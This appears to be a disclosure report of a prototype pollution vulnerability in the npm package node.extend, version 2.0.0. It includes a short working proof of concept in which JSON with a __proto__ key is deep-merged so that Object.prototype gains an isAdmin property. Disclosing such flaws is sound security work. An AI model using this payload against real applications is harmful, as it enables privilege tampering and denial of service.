I would like to report a prototype pollution vulnerability in node.extend.
It allows an attacker to inject properties on Object.prototype.
module name: node.extendversion:2.0.0npm page: https://www.npmjs.com/package/node.extend
A port of jQuery.extend that actually works on node.js
267,701 downloads in the last week
This is a variant of this vulnerability:
https://hackerone.com/reports/310443
node.extend
can be tricked into adding or modifying properties of the Object prototype. These properties will be present on all objects.
Craft an object of form {__proto__: {...}}
and send it to node.extend
:
let extend = require('node.extend');
extend(true, {}, JSON.parse('{"__proto__": {"isAdmin": true}}'));
console.log({}.isAdmin); // true
Denial of service, possibly more depending on the application.
See https://hackerone.com/reports/310443